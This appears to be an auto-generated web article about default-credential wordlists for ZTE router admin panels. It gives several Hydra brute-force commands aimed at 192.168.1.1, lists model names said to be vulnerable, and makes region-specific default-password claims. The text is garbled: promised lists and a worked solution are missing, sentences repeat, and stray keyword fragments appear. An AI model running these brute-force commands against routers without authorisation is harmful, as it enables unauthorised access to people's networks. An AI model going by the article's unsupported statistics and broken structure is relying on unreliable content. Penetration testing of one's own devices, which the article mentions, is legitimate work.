Zte Router - Wordlist Top

To test a live ZTE router’s admin panel (typically on http://192.168.1.1 or 192.168.0.1), you can use a tool like Hydra with your generated wordlist.

The existence of these wordlists highlights a critical security flaw: Default Credentials.

If you are a network administrator or a home user with a ZTE router:

For penetration testing, here is a condensed top 50 wordlist for ZTE router admin interfaces. This excludes generic passwords like 123456 and includes only ZTE-specific patterns.

Note: The actual "top" wordlist varies by region. In India, admin/password dominates. In Brazil, admin/1234567890 is common. In Russia, admin/(blank) still works on many ZTE models. zte router wordlist top

Top 5 ZTE passwords to try first:

Most common username: admin (98% of models)

Most vulnerable models: ZXDSL 831, ZXHN H108N, F660 v1, MF283

This article was last updated in April 2025. ZTE continuously changes default credential algorithms. Always check the physical sticker on the bottom of the router first—it remains the most reliable source.

The Scenario: A user forgot both the Wi-Fi password and the admin password on their ZTE F680 router. The sticker was faded and unreadable.

The Solution using the "ZTE Router Wordlist Top":

Conclusion: The algorithmic entries in the wordlist were the "top" solution, not the static ones. Note: The actual "top" wordlist varies by region

hydra -l admin -P zte_wordlist_top.txt 192.168.1.1 http-post-form "/cgi-bin/login:username=^USER^&password=^PASS^:Login failed"

If you are testing your own router's web interface (assuming HTTP form auth), a command might look like this:

hydra -l admin -P zte_top_wordlist.txt -f -vV 192.168.1.1 http-get /

(Note: http-get vs http-post-form depends on the specific ZTE firmware interface).

A “top wordlist” is typically fed into tools like:

Example Hydra command for a ZTE router at 192.168.1.1:

hydra -l admin -P zte_top_wordlist.txt 192.168.1.1 http-get /cgi-bin/webproc

But before you run that — only do this on devices you own or have explicit permission to test.
